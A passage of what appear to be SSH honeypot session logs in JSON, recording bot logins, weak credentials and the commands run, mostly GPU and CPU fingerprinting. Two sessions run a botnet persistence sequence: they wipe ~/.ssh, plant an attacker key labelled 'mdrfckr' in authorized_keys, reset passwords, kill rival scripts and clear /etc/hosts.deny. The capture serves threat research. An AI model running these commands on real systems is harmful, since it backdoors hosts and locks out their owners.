-c"},{"seq":8,"at":"2026-08-27T13:21:50.426084+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:21:50.741019+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:21:50.741469+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:21:51.382222+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:21:51.382674+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:21:51.595875+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:21:51.596367+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"leaf","password":"leaf","method":"password","accepted":true,"tier":"other"}]} {"id":"20154399-a6a7-4691-ae9f-971c16746413","name":"tender-brave-gecko","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":53834,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:20:28.672004+00:00","ended_at":"2026-08-27T13:20:53.249828+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"b40b8116-f3c0-40d3-af47-d3d8cd8b2a2a","name":"windswept-emerald-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":59562,"username":"xiwen","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":211,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:18:28.959116+00:00","ended_at":"2026-08-27T13:18:29.063994+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:18:26.935127+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:18:27.687451+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:18:27.904247+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:18:27.905223+00:00","kind":"output","latency_ms":null,"data":" 13:18:27 up 7 days, 10:08, 0 user, load average: 0.13, 0.16, 0.13"},{"seq":5,"at":"2026-08-27T13:18:28.119909+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:18:28.120719+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:18:28.333383+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:18:28.333831+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:18:28.541768+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:18:28.543333+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:18:28.751136+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:18:28.751715+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:18:28.960157+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:18:28.960745+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xiwen","password":"xiwen","method":"password","accepted":true,"tier":"other"}]} {"id":"c74aaf86-4a49-48b2-b67d-3e7aa8321dce","name":"loyal-salty-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":58334,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":208,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:15:17.023212+00:00","ended_at":"2026-08-27T13:15:17.127766+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":737,"events":[{"seq":1,"at":"2026-08-27T13:15:14.859168+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:15:15.772083+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:15:15.978087+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:15:15.978628+00:00","kind":"output","latency_ms":null,"data":" 13:15:15 up 7 days, 10:05, 0 user, load average: 0.27, 0.32, 0.3"},{"seq":5,"at":"2026-08-27T13:15:16.191678+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:15:16.192309+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:15:16.397283+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:15:16.397777+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:15:16.605602+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:15:16.606302+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:15:16.814764+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:15:16.815242+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:15:17.023921+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:15:17.024361+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"root","password":"Aa@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"bef0865b-c7c3-44f1-92bb-abb600be2cfd","name":"gallant-smooth-quail","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":63176,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:13:54.117852+00:00","ended_at":"2026-08-27T13:14:08.396325+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"1ee9e809-17a6-4ef1-9eb3-b14e0726aa3d","name":"craggy-coastal-ocelot","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":56563,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:13:08.766233+00:00","ended_at":"2026-08-27T13:13:31.814623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"aad57660-524b-45fb-a468-10354c0fad59","name":"sunlit-plucky-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":43666,"username":"vyatta","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":279,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:12:11.054327+00:00","ended_at":"2026-08-27T13:12:11.192910+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:12:08.750986+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:12:09.378250+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:12:09.665656+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:12:09.666384+00:00","kind":"output","latency_ms":null,"data":" 13:12:09 up 7 days, 10:02, 0 user, load average: 0.22, 0.25, 0.16"},{"seq":5,"at":"2026-08-27T13:12:09.945442+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:12:09.945952+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:12:10.222891+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:12:10.223336+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:12:10.508842+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:12:10.509240+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:12:10.782934+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:12:10.783490+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:12:11.054873+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:12:11.055908+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"vyatta","password":"vyatta","method":"password","accepted":true,"tier":"other"}]} {"id":"af3b7aec-5a42-4c47-88a7-02d439e8fa22","name":"watchful-nimble-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":49038,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":794,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:11:34.264080+00:00","ended_at":"2026-08-27T13:11:35.054224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:11:13.098883+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:11:13.840911+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:11:20.358172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:11:20.358779+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:11:21.170591+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n7JsbOLcKuXaE\\n7JsbOLcKuXaE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:11:21.939034+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n7JsbOLcKuXaE\\n7JsbOLcKuXaE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:11:22.677156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:11:22.677693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:11:23.428261+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:11:24.099109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:11:24.889611+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:11:25.401407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:11:26.509337+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:11:26.510135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:11:27.330438+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:11:27.332271+00:00","kind":"output","latency_ms":null,"data":" 13:11:27 up 7 days, 10:01, 0 user, load average: 0.15, 0.17, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:11:28.111672+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:11:28.112566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:11:28.906085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:11:28.907060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:11:29.704088+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:11:29.704575+00:00","kind":"output","latency_ms":null,"data":"top - 13:11:29 up 7 days, 10:01, 0 user, load average: 0.15, 0.17, 0.12\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:11:30.484938+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:11:30.485389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:11:31.314545+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:11:31.314967+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:11:32.109342+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:11:32.110219+00:00","kind":"output","latency_ms":null,"data":"vpnuser"},{"seq":29,"at":"2026-08-27T13:11:32.848884+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:11:33.455366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:11:34.264788+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:11:34.784212+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpnuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"4f82b5fb-6d68-447f-b8b7-0bc4a5fcb46e","name":"gentle-hollow-dotterel","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":50320,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:11:18.745555+00:00","ended_at":"2026-08-27T13:11:20.107741+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"vpnuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ff9ccae5-b94b-4ceb-abc9-95516a4accdd","name":"quartz-shaded-rook","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":49048,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:11:15.823726+00:00","ended_at":"2026-08-27T13:11:17.098400+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"969ed54d-7c6f-4e70-a712-108ae2722dd4","name":"autumn-genial-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"159.138.88.16","src_port":43816,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"echo xsec","started_at":"2026-08-27T13:10:50.974379+00:00","ended_at":"2026-08-27T13:10:52.816826+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":13,"events":[{"seq":1,"at":"2026-08-27T13:10:50.975425+00:00","kind":"input","latency_ms":null,"data":"echo xsec"},{"seq":2,"at":"2026-08-27T13:10:50.976193+00:00","kind":"output","latency_ms":null,"data":"xsec"}],"credentials":[{"username":"root","password":"00099","method":"password","accepted":true,"tier":"other"}]} {"id":"f00c17a5-4d18-4688-b503-11db1633996b","name":"woven-fabled-polecat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57484,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:10:07.280852+00:00","ended_at":"2026-08-27T13:10:08.428732+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:09:47.502470+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:09:47.832879+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:09:51.909254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:09:52.432865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:09:52.761867+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bDf96yyeeNOr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:09:53.087731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:09:53.412719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:09:53.793573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:09:54.122637+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:09:55.259155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:09:55.896142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:09:57.202219+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:09:57.529725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:09:58.012462+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:09:58.339418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:09:59.177755+00:00","kind":"output","latency_ms":null,"data":" 13:09:59 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:09:59.505512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:09:59.772050+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:10:00.100841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:10:00.874276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:10:01.202202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:10:01.888845+00:00","kind":"output","latency_ms":null,"data":"top - 13:10:01 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:10:02.217162+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:10:02.661540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:10:02.987161+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:10:03.789210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:10:04.117780+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:10:04.912127+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:10:05.239720+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:10:06.955060+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:10:07.282251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:10:08.331541+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7c00e4aa-3488-4bea-8bb2-f9440acaf674","name":"nameless-lonesome-crane","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38856,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:09:50.689062+00:00","ended_at":"2026-08-27T13:09:51.813302+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"28ca9c99-8a9d-490c-a60e-61f70bf54920","name":"rugged-solar-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57492,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:09:48.578780+00:00","ended_at":"2026-08-27T13:09:49.993647+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bf669552-6d98-4268-b4b7-6ab94bbf6e1a","name":"windswept-thorny-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":49330,"username":"tt","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:08:58.272446+00:00","ended_at":"2026-08-27T13:08:58.375739+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:08:56.419151+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:08:57.040308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:08:57.246997+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:08:57.247906+00:00","kind":"output","latency_ms":null,"data":" 13:08:57 up 7 days, 9:59, 0 user, load average: 0.29, 0.33, 0.29"},{"seq":5,"at":"2026-08-27T13:08:57.451718+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' 